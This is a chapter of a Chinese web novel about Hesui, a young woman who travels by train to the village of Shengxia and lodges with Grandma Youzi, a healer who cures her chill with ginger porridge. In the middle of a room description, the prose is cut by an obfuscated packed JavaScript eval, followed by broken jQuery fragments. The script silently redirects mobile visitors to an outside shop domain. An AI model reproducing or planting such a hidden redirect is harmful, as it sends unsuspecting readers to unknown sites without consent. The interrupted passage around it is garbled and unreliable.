清晨，火车穿过麦田，禾穗坐在其中一节。
她塞耳机，不显眼的外衣长裤包住纤细的四肢，因为畏寒，在空调房里，禾穗总比常人要多套两层。
此行旅途的终点是叫“盛夏”的小村庄，她得先在清城下车，再转两小时大巴。
说实话，这是禾穗第一次去到完全不了解的地方旅行。
她会待多久？接下来又会去哪儿？
一切都是未知。
也正是这种未知，又隐隐地让她感到有些兴奋。
午餐时间，车厢弥漫着各种泡面的味道，禾穗坐在角落啃牛角面包，矩形车窗外，闪过大片绿影。
车内陈设有些老旧，抬头可见发锈的扶手和铁窗边缘。
幸好禾穗很擅长脑补，她开始幻想着，一片嫩绿的叶子穿过玻璃，伸进车厢，开始极速地生长，很快，火车墙壁被新长出的绿枝包裹，连脚下也开满苔藓和野花。
没过多久，整节车厢的走廊、天花板、卧铺的梯子都爬满了各种植物，此刻，人们就在一栋会移动的森林列车里走来走去。
“妹妹，能让我坐会儿吗？”
一个端着泡面的男人突然出现。
「Fantasy moment」终止。
其他座位都被埋头吃面的人士占用，禾穗起身，感觉悬在头顶的泡面叉子随时会落下，就像命运的达摩克利斯之剑?。
她的铺塌在中间，禾穗抓着爬梯，拿过自己的黑色背包。
“妹妹去上学啊？”可能瞧她老实，男人将一次性叉子固定在泡面桶上，边等泡面边和她聊天。
“旅行。”
“去哪儿玩啊？”
“南方。”
男人憨笑：“这车往南开，我当然知道你要去南方，你就自己吗？没和家长一起？”
禾穗无语地答：“我快三十了。”
“啊？”男人极为诧异：“我以为你还在上学呢。”
没再理这人，禾穗走去两节列车的连接处，从背包侧袋摸出半罐无花果干。
那天早晨，被打翻的无花果包装盒上的小山村无意间闯入禾穗的视野。
无花果的味道很好。
她找到卖家页面，青山、麦田、安静的巷子和湛蓝的天空，感觉是个让人忘不掉的地方。
经营店铺的人也在经营民宿，禾穗被那间绿白相间的小院，以及窗外充满生命力的山林所吸引。
“离开这儿去看看吧，”
心底有这样的声音对自己说。
记得出发的前一天，禾穗在楼梯间碰到了楼上的女人，女人喝醉了，眯起眼看了看禾穗。
女人和禾穗为她设计的模样不太一样。
作为典型婚姻剧情的女主，她本以为女人会素面朝天，衣着保守，被生活磨掉了颜色，可女人偏偏红发耀眼，妆容精致，穿的很时髦。
一只空了的高脚杯搁在她闪着细钻的高跟鞋旁。
女人抬了抬下巴：“你是住我楼下的吧，我们这些烂事儿你应该都听到了吧？”
她语气没有指责，只是带了点自嘲。
禾穗以为自己会对她控诉：知道每天被你们的噪音骚扰有多痛苦吗？！
但她还是下意识撒了谎：“我这两天不在家。”
女人打了个酒嗝，醉眼半睁。
“放心吧，以后你听不到我们吵架了，我决定离开了。”
禾穗似乎并不诧异。
她说：“我也是。”
女人愣了愣，笑着举起酒杯对她说：“那么，祝我们都自由。”
***
列车靠站时，禾穗在自己的卧铺发现了一袋东西，大白兔奶糖，芥末口味。
她回头寻找，车窗被人从外头敲了敲。
是那个被她让座的旅客。
他笑着指了指糖，挥手在跟她道别。
***
盛夏村坐落在一片原始森林旁，村子不大，但路并不好走，从大巴下来，需要再打车才能抵达。
村口竖立着“有熊路”的指示牌，把禾穗吓得不轻，忙问司机：“这里有熊吗？”
司机笑着解释：“‘有熊’是捐助这条路的人名啦！”
出租车开走后，禾穗向村口小卖部的爷爷打听民宿怎么去。
爷爷叽里咕噜说了串方言，像是进入听力测试环节，禾穗连蒙带猜，最后靠手势破案，懂了，这个村子只有自行车和摩托能骑。
幸好这时从店里走出个圆脸阿叔，普通话还算利索，爷爷急得满脑门子汗，忙抓过阿叔，让禾穗问他。
“请问‘盛夏之屋’怎么走？”
阿叔愣了下：“啥子屋？没听说过噻 ！”
禾穗划亮手机，放大上面的照片。
“啊，是优子家啊！从这儿过去有点远哟，”阿叔看了看她的天蓝色行李箱，“这样吧，你骑小黑驴去噻！”
“小……黑驴？”
阿叔笑笑，推过来他的老式二八杠自行车，拍了拍车座。
阿叔帮她把行李箱固定在自行车后座，禾穗问道：“房东是个什么样的人呀？”
“优子阿奶嘛？脾气好得很！我们村里小路多，这样，我给你画个地图吧！”阿叔笑着回屋撕了张旧挂历。
盛夏之屋在森林和小山环绕的地方，一条名为“小满”路的尽头。
禾穗说：“我放完行李就回来还车。”
阿叔表示不用，他阿弟下午在优子家，等会儿让他骑回来就行。
乡村小路石子多，禾穗蹬了几次才够上自行车的座，歪歪扭扭地上了路。
她听到后面传来爷爷咯咯的笑声，还有句方言，应该是提醒她小心一点。
驶过大片的油菜花田埂，金色从两侧退开，过了田埂，又进入段窄路，大车进不来，两旁天然长成高大的银杏树、梧桐树、柏树，还有许多禾穗叫不出名字的树，枝叶在头顶像是拱门。
前方，小路蜿蜒至森林深处。
风将禾穗头上的圆帽子掀到后背，长长的头发散了开，衣角在座椅后方翻动，她紧紧握着车把，感受着车轮碾过碎石带来的细微震动——
这震动自手心传遍全身，让她战栗，仿佛要唤醒身体的每颗细胞。
她似乎正与周围连成一体。
风、阳光、蓝天、森林、田野、......空气中混合着叶子香、鼠尾草和清新的泥土气，一切，那么鲜活。
陌生而近乎狂喜的自由感，让禾穗想要大声呼喊！
她有种感觉，自己快要被这阵风吹起来了！
***
“滚滚滚！老子不要你的猫！”
院内传来声怒骂：“让你忌嘴忌嘴！你不听！”
“两副药就能好咯，你拖着拖着！”
禾穗拿着阿叔手绘的地图，停在小院门前。
透过院子里的花影，木屋地板上，从左到右坐着三个身影：老头儿、中年男人和青年。他们齐刷刷地垂着脑袋，坐姿规矩得像挨训得小学生。
女人正抡着卷成棍的报纸，挨个往他们头顶上敲。
“优子阿奶！”坐在中间的青年抱住脑袋，哎呦哎呦地站起身：“我们不敢啦，您别打咯！”
老头趁机放下怀里的东西，“这十斤肉您就收下吧，再不给药钱，我们祖孙三代都过意不去咯，还有这猫崽儿，别看瘦，乖得很，长大漂亮着嘞！”
“把你的猫拿走！”优子阿奶声音干脆。
青年刚溜到院外，就瞧见禾穗骑来的二八杠，亲切喊了声：“小黑？”
他应该就是村口阿叔的弟弟，禾穗说明了情况，青年点点头，问她：“你找优子阿奶做啥嘞？”
“我......住这儿。”禾穗答得简短。
“你要和优子阿奶住？”青年双眼瞬间瞪得溜圆。
“谁和优子住！”老头儿拄着拐，激动地跟出来，听见这话，便将怀里的奶猫儿高兴地塞给禾穗：“那这猫儿归你咯，我们走吧！”
奶猫是只三花，刚断奶的样儿，躲在禾穗怀里嘤嘤。
把这小奶猫丢了也不是，禾穗只好揣着，战战兢兢进了小院。
院子没设围墙，只用藩篱与四周田梗简单隔开，村里大部分人家都是如此。木屋两层高，收拾得雅致干净，很有中式气息。
院内种着绣球、西府海棠、葡萄藤，还有无花果树。
“谁让你把猫抱进来啦？”
木屋里的女人约莫有七十岁，面色红润，眼神清亮，一头银发梳成两股麻花辫，古灵精怪的老神仙模样。
“他们......”
禾穗乖乖应答，刚回头，那祖孙三代已跑远了。
田埂上，青年蹬着二八杠载着爷爷，爸爸在后头气喘吁吁地喊：“龟孙子，滚下来！让老子上去！”
爷爷听到龟孙俩字，抄着拐棍在打追过来的爸爸。
“那是德福一家，” 优子转而问她：“怎么，你也来看病？”
“不是，”禾穗眨眨眼：“我在网上定了您的民宿。”
“这样啊，进来吧。”
不过说起看病，禾穗这些天没休息好，加上列车上空调开的太低，感觉不大舒服。
“那个，”禾穗站在门口：“请问我们这儿有药店嘛？”
奶奶回头瞅了眼禾穗的脸色：“你多大了？”
“28.”
奶奶意味不明地摇摇头。
“过来坐。”
禾穗换了鞋。
这是间宽敞的中式居所，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801412|210634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墙上挂了幅苍劲有力的毛笔字。
上联：“凡气不死你的都能让你更强大。”
下联：“凡逼不疯你的都会让你更佛系。”
横批：“日日是新日。”
客厅布置得很有禅意，矮木茶席、蔺草垫、檀木熏香，空气弥漫着淡淡的草药味，最大的那扇窗能看到云雾中的山景。
窗台上放着手工事物，毛绒向日葵、蘑菇小灯、微缩绿植，还有捧着松果的木雕小松鼠。
客厅另一侧应该是房东奶奶的寝室，以蒲帘隔断。
顺着房东的脚步，禾穗在客厅的矮桌前停下。
“手。”
坐下后，禾穗将左手伸过去，房东奶奶面无表情，拿了个棕色脉垫枕在禾穗手腕处。
阿奶指尖轻搭上去，只见她时而蹙眉，时而摇头，时不时还叹口气。
“您是……中医？”禾穗小声问。
阿奶闭眼不语，足足一分钟后。
禾穗又问：“请问我怎么样？”
“右手。”
这次，奶奶的摇头频率更高了。
号完脉，优子问：“去药店做什么？”
禾穗说：“我想买点感冒药。”
“不用去药店，”优子说，“姜就行。”
“姜？”
“没错。”
“把姜……吞下去嘛？”禾穗比划着了个咬的动作。
优子良善地看她：“吞得下就尽情吞吧。”
“.......”
“姜切碎，熬成浓浓的汤，和葱白和糯米一起熬煮，再加点陈醋和红糖，这是道药膳，也叫神仙粥，喝下去能发散风寒，温通阳气。”
禾穗眨眨眼：“然后呢？”
“然后，盖好被子睡觉。”
“......我身子有没有什么问题？”
“没啥问题，”
禾穗正要放松下来。
“当然了，”优子忽然背过她，声音悠悠飘来，“对情况不太妙的病人，我一般都先这么安慰。”
“……”
“房间在二楼，钥匙给你。”优子将那枚铜制钥匙交给禾穗，“一楼厨房、客厅都可以用，外面的蔬菜和水果，你平时都可以采来吃。”
***
禾穗头回住头顶尖尖的房子，觉得新奇无比。
推开圆拱形木窗，前方是望不到边的麦田，大片新绿在阳光下闪耀。
远处可见起伏的青色山脉，还有蓊郁的森林。
禾穗趴在窗边，深吸了口气。
四下极静，她几乎能听见世界展开的次序。
木扉推开的吱吖、房檐下鸟儿的飞簌......而后，是风行走在麦田的声音。
最后是那些不可见的，轻盈的、富有节奏感的呼应。
是禾穗身体里发出的——
心跳与呼吸。
不知这样定格了多久，禾穗才从这放空的状态里醒过神。
她睁开眼，决定先把屋子收拾出来。
行李箱装的东西不多，先取出的，是几本边角磨得发白的书。窗下就有小桌台，很惹人喜爱的胡桃色，指尖从上面滑过，能触到木头温润细腻的纹理。
禾穗将书摆好，接着拿出茶杯、笔记本、洗漱用品、眼镜盒、尤克里里……
收拾得差不多时，门外响起了轻轻的叩门声。
禾穗走过去，拉开房门。
是优子奶奶。
她端着竹木托盘站在门外，托盘上有只陶泥小碗。
“趁热喝下去吧，”优子将托盘递给她。
那泥碗模样拙朴，碗口还画了只憨态的小猫咪，想起优子先前对猫避之不及的模样，禾穗心里掠过了一丝好奇。
等她接过托盘，优子转身下了楼。
姜米粥熬得晶莹剔透，米粒几乎化开，红糖的甜，压住了老姜的锋利，只剩细微的辛，顺着舌尖慢慢散开。
她一勺一勺喝下去，那股暖意从喉咙滑进胃里，再缓缓蔓延到四肢，不过一碗粥的功夫，后背竟微微沁了层薄汗，积压的寒气仿佛也被逼了出来。
禾穗动了动指尖，手心也变得暖和多了。
不知何时，外面落了雨，淅淅沥沥的。
想起优子的叮嘱，禾穗乖乖钻进被窝，平躺下来。
被角带着晒过的棉布气息，连日奔波的疲惫渐渐被雨声抚平，让她很快有了困意。
再醒来时，屋里换了种颜色。
窗外大片的火烧云，金色、橙红、浅紫，在远山和云层间缓缓流动，霞光沿着窗棂间漫步而入，走到床沿，停在她的脸上。
直到最后一丝光线隐入地平，禾穗才回过神来，这才惊觉身子变得神清气爽，上午的胸闷感近乎消失了！